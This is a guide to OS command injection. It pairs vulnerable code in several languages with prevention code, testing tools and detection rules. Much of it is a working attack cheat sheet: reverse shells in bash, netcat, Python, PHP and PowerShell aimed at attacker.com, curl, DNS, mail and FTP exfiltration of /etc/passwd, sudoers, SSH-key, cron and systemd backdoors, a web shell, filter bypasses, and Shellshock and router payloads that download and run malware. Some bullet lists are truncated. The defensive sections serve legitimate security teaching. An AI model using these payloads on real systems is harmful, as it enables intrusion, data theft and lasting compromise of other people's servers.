Comprehensive Guide to Understanding, Exploiting, and Preventing OS Command Injection Attacks
Command Injection (also known as OS Command Injection or Shell Injection) is a critical security vulnerability that occurs when an application passes unsafe user-supplied data to a system shell. This allows attackers to execute arbitrary operating system commands on the server, potentially leading to complete system compromise.
Command injection is one of the most severe vulnerabilities because it:
Successful command injection exploitation allows attackers to:
Command injection attacks typically follow this pattern:
<?php
// VULNERABLE: User input directly in shell command
$ip = $_GET['ip'];
$output = shell_exec("ping -c 4 " . $ip);
echo "<pre>" . $output . "</pre>";
// Attack: ?ip=8.8.8.8; cat /etc/passwd
// Executes: ping -c 4 8.8.8.8; cat /etc/passwd
?>
import subprocess
import sys
# VULNERABLE: Shell=True with user input
filename = sys.argv[1]
subprocess.call("cat " + filename, shell=True)
# Attack: file.txt; rm -rf /
# Executes: cat file.txt; rm -rf /
const { exec } = require('child_process');
const express = require('express');
const app = express();
// VULNERABLE: User input in exec command
app.get('/dns', (req, res) => {
const domain = req.query.domain;
exec(`nslookup ${domain}`, (error, stdout) => {
res.send(stdout);
});
});
// Attack: ?domain=google.com;whoami
// Executes: nslookup google.com;whoami
// VULNERABLE: Command concatenation
String fileName = request.getParameter("file");
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec("cat " + fileName);
// Attack: file.txt; ls -la
// Executes: cat file.txt; ls -la
Direct execution of commands using separators or operators.
# Semicolon separator
127.0.0.1; whoami
# Pipe operator
127.0.0.1 | whoami
# AND operator
127.0.0.1 && whoami
# OR operator
invalid || whoami
# Command substitution
127.0.0.1 `whoami`
127.0.0.1 $(whoami)
# Background execution
127.0.0.1 & whoami &
Commands execute but output isn't returned directly. Detection through timing, DNS, or HTTP callbacks.
# Time-based detection
127.0.0.1; sleep 10
# DNS exfiltration
127.0.0.1; nslookup $(whoami).attacker.com
# HTTP callback
127.0.0.1; curl https://attacker.com/?data=$(cat /etc/passwd | base64)
# File-based output
127.0.0.1; whoami > /var/www/html/output.txt
Bypassing input validation and filtering mechanisms.
# Using variable expansion
127.0.0.1; $PATH
127.0.0.1; ${PATH}
# Character encoding
127.0.0.1%0awhoami # Newline
127.0.0.1%09whoami # Tab
# Quote manipulation
127.0.0.1; w'h'o'a'm'i
127.0.0.1; w"h"o"a"m"i"
# Concatenation
127.0.0.1; who$()ami
127.0.0.1; who${IFS}ami
REM Command separators
127.0.0.1 & whoami
127.0.0.1 && whoami
127.0.0.1 || whoami
127.0.0.1 | whoami
REM PowerShell execution
127.0.0.1; powershell -c "Get-Process"
REM Using environment variables
127.0.0.1 & %COMSPEC% /c whoami
# Bash reverse shell
; bash -i >& /dev/tcp/attacker.com/4444 0>&1
# Netcat reverse shell
; nc -e /bin/bash attacker.com 4444
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attacker.com 4444 >/tmp/f
# Python reverse shell
; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker.com",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
# PHP reverse shell
; php -r '$sock=fsockopen("attacker.com",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
# PowerShell reverse shell (Windows)
; powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('attacker.com',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
# Exfiltrate via DNS
; cat /etc/passwd | xxd -p | while read line; do nslookup $line.attacker.com; done
# Exfiltrate via HTTP
; curl -X POST -d "$(cat /etc/passwd | base64)" https://attacker.com/exfil
; wget --post-data="data=$(cat sensitive.txt)" https://attacker.com/collect
# Email exfiltration
; cat /etc/passwd | mail -s "Data" attacker@evil.com
# FTP exfiltration
; curl -T /etc/passwd ftp://attacker.com --user user:pass
# Find SUID binaries
; find / -perm -4000 -type f 2>/dev/null
# Check sudo privileges
; sudo -l
# Exploit cron jobs
; echo "* * * * * /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1" > /tmp/cron
; crontab /tmp/cron
# Add new user
; useradd -m -s /bin/bash -G sudo attacker
; echo "attacker:password" | chpasswd
# Modify sudoers
; echo "www-data ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
# SSH key persistence
; mkdir -p ~/.ssh
; echo "ssh-rsa AAAA... attacker@evil" >> ~/.ssh/authorized_keys
; chmod 600 ~/.ssh/authorized_keys
# Backdoor service
; echo "[Unit]
Description=System Update Service
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'
Restart=always
[Install]
WantedBy=multi-user.target" > /etc/systemd/system/update.service
; systemctl enable update.service
; systemctl start update.service
# Web shell
; echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php
# Cron backdoor
; (crontab -l; echo "@reboot /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'") | crontab -
# Hex encoding
; $(echo 776861616d69 | xxd -r -p) # whoami
# Base64 encoding
; echo d2hvYW1p | base64 -d | bash # whoami
# Octal encoding
; $(printf "\167\150\157\141\155\151") # whoami
# Unicode encoding
; \u0077\u0068\u006f\u0061\u006d\u0069 # whoami (in some contexts)
# Using $IFS (Internal Field Separator)
; cat${IFS}/etc/passwd
; cat$IFS$9/etc/passwd
# Using tabs
; cat%09/etc/passwd
# Using braces
; {cat,/etc/passwd}
# Using redirection
; cat
# Variable concatenation
; w'h'o'a'm'i
; w"h"o"a"m"i"
; wh$()oami
; who$@ami
# Case variation (if case-insensitive)
; WhOaMi
; WHOAMI
# Wildcard usage
; /bin/c?t /etc/passwd
; /bin/ca* /etc/passwd
; /b??/c?t /etc/p????d
# Absolute paths
; /usr/bin/whoami
; /bin/cat /etc/passwd
# Command chaining
; >a
; >b\
; >c\>
; >d\
; ls -t>x
; sh x
# Environment variables
; export X=who
; export Y=ami
; $X$Y
# File-based execution
; echo whoami>c
; sh c
# Null byte injection (older systems)
; cat /etc/passwd%00
# Line continuation
; cat /etc/\
passwd
# Comment injection
; cat /etc/passwd #
# Newline injection
; cat%0a/etc/passwd
The most effective prevention is to avoid calling system commands altogether.
<?php
// SECURE: Use built-in functions instead of shell commands
// Instead of shell_exec("ping $ip")
$ip = $_GET['ip'];
// Validate IP address
if (filter_var($ip, FILTER_VALIDATE_IP)) {
// Use native PHP socket functions
$socket = @fsockopen($ip, 80, $errno, $errstr, 2);
if ($socket) {
echo "Host is reachable";
fclose($socket);
} else {
echo "Host is unreachable";
}
} else {
echo "Invalid IP address";
}
?>
import os
import ipaddress
import socket
# SECURE: Use Python libraries instead of shell commands
def check_host(ip_str):
try:
# Validate IP address
ip = ipaddress.ip_address(ip_str)
# Use socket library instead of ping command
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(2)
result = sock.connect_ex((str(ip), 80))
sock.close()
return result == 0
except ValueError:
return False
<?php
// SECURE: Strict input validation
function validateInput($input, $type) {
switch($type) {
case 'ip':
return filter_var($input, FILTER_VALIDATE_IP) ? $input : false;
case 'filename':
// Allow only alphanumeric, dash, underscore, dot
return preg_match('/^[a-zA-Z0-9_\-\.]+$/', $input) ? $input : false;
case 'number':
return filter_var($input, FILTER_VALIDATE_INT) ? $input : false;
default:
return false;
}
}
$ip = validateInput($_GET['ip'], 'ip');
if ($ip === false) {
die("Invalid input");
}
?>
import subprocess
import shlex
# SECURE: Use list argument without shell=True
def safe_execution(user_input):
# Validate input first
if not user_input.replace('.', '').isdigit():
raise ValueError("Invalid input")
# Use list of arguments - prevents injection
result = subprocess.run(
['ping', '-c', '4', user_input],
capture_output=True,
text=True,
timeout=5
)
return result.stdout
# Even safer with shlex
def safer_execution(user_input):
cmd = shlex.split(f'ping -c 4 {shlex.quote(user_input)}')
result = subprocess.run(cmd, capture_output=True, text=True)
return result.stdout
const { execFile } = require('child_process');
// SECURE: Use execFile with array arguments
function safePing(ip) {
// Validate IP first
const ipRegex = /^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$/;
if (!ipRegex.test(ip)) {
throw new Error('Invalid IP address');
}
// execFile doesn't invoke shell, prevents injection
execFile('ping', ['-c', '4', ip], (error, stdout, stderr) => {
if (error) {
console.error('Error:', error);
return;
}
console.log(stdout);
});
}
# SECURE: Allowlist approach
ALLOWED_COMMANDS = {
'status': ['systemctl', 'status', 'nginx'],
'restart': ['systemctl', 'restart', 'nginx'],
'check': ['nginx', '-t']
}
def execute_allowed_command(command_name):
if command_name not in ALLOWED_COMMANDS:
raise ValueError("Command not allowed")
# Execute pre-defined command only
result = subprocess.run(
ALLOWED_COMMANDS[command_name],
capture_output=True,
text=True
)
return result.stdout
# Run application with minimal permissions
# Create dedicated user
sudo useradd -r -s /bin/false appuser
# Set proper file permissions
sudo chown -R appuser:appuser /var/www/app
sudo chmod -R 750 /var/www/app
# Use capabilities instead of root
sudo setcap 'cap_net_bind_service=+ep' /usr/bin/node
# Docker container with non-root user
FROM node:16
RUN useradd -m -u 1001 appuser
USER appuser
WORKDIR /app
COPY --chown=appuser:appuser . .
CMD ["node", "server.js"]
<?php
// Disable dangerous PHP functions
// In php.ini:
// disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
// Application configuration
ini_set('display_errors', 0);
error_reporting(0);
// Use safe mode features where available
if (function_exists('putenv')) {
putenv('PATH=/usr/local/bin:/usr/bin:/bin');
}
?>
;, |, &&, ||, &`cmd`, $(cmd)sleep 10 or ping -c 10 127.0.0.1whoami, id, pwd# Basic detection
; whoami
| whoami
& whoami
&& whoami
|| whoami
`whoami`
$(whoami)
# Time-based blind detection
; sleep 10
| sleep 10
`sleep 10`
$(sleep 10)
# Output redirection
; whoami > /var/www/html/out.txt
; curl https://attacker.com/?data=`whoami`
# DNS callback (use Burp Collaborator or similar)
; nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN
; nslookup `whoami`.BURP-COLLABORATOR-SUBDOMAIN
# HTTP callback
; curl https://BURP-COLLABORATOR/?data=$(whoami)
; wget https://BURP-COLLABORATOR/?data=`id`
commix --url="http://target.com/page?param=value" --level=3
# Load payload list from SecLists
# /Fuzzing/command-injection/command-injection-commix.txt
sqlmap -u "http://target.com/page?param=value" --os-shell
# Search for dangerous functions in code
# PHP
grep -r "shell_exec\|exec\|system\|passthru\|popen\|proc_open" .
# Python
grep -r "os.system\|subprocess.call.*shell=True\|os.popen" .
# Node.js
grep -r "exec\|spawn.*shell.*true\|child_process" .
# Java
grep -r "Runtime.getRuntime\|ProcessBuilder" .
# Ruby
grep -r "system\|exec\|%x\|backticks" .
# Monitor for suspicious commands
# Using auditd on Linux
auditctl -a always,exit -F arch=b64 -S execve -k command_execution
# Search audit logs
ausearch -k command_execution | grep -E "whoami|id|uname|cat /etc"
# Monitor web logs for injection attempts
tail -f /var/log/apache2/access.log | grep -E ";\|&&|\|\||sleep|wget|curl"
# Use fail2ban to block attackers
cat >> /etc/fail2ban/filter.d/command-injection.conf <<EOF
[Definition]
failregex = .*(\;|\||&&|\|\||sleep|wget|curl|bash|sh|nc|netcat).*
ignoreregex =
EOF
Impact: Critical command injection in Bash shell affecting millions of systems.
# Vulnerability in Bash environment variable parsing
curl -H "User-Agent: () { :; }; /bin/bash -c 'cat /etc/passwd'" \
http://vulnerable-server/cgi-bin/test.sh
# Attack vector through CGI scripts
GET /cgi-bin/status HTTP/1.1
User-Agent: () { :;}; /bin/bash -c 'wget http://attacker.com/malware -O /tmp/m; chmod +x /tmp/m; /tmp/m'
Lesson: Even trusted system components can have critical injection vulnerabilities. Always update systems.
Impact: Command injection in ImageMagick image processing library.
# Malicious image file
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|curl https://attacker.com/exfil?data="`cat /etc/passwd`")'
pop graphic-context
Lesson: File uploads and processing can be vectors for command injection. Validate and sanitize all file operations.
Impact: Command injection in router administration interface.
# Injection through filename parameter
POST /upload HTTP/1.1
...
filename=";reboot;.tar"
# Full exploitation
filename=";wget http://attacker.com/backdoor -O /tmp/b && chmod +x /tmp/b && /tmp/b;.tar"
Lesson: IoT and network devices are common targets. Regular firmware updates are critical.
Impact: Command injection leading to remote code execution in GitLab.
# Exploit through image upload with malicious metadata
import requests
payload = b'\xFF\xD8\xFF\xE0' + b' '
files = {'file': ('exploit.jpg', payload, 'image/jpeg')}
r = requests.post('https://gitlab-instance/uploads/user', files=files)
Lesson: Complex applications with file processing are vulnerable. Defense in depth is essential.
; # Command separator
| # Pipe output
|| # OR operator (execute if previous fails)
&& # AND operator (execute if previous succeeds)
& # Background execution
` # Command substitution (backticks)
$() # Command substitution
< # Input redirection
> # Output redirection
>> # Append redirection
\n # Newline (in some contexts)
& # Command separator
&& # AND operator
|| # OR operator
| # Pipe
%0a # Newline
%0d # Carriage return
# Unix/Linux
; whoami
; id
; uname -a
; cat /etc/passwd
; sleep 10
# Windows
& whoami
& ipconfig
& dir
& timeout 10
# Blind detection
; nslookup $(whoami).COLLABORATOR.com
; curl https://COLLABORATOR.com/?data=$(id | base64)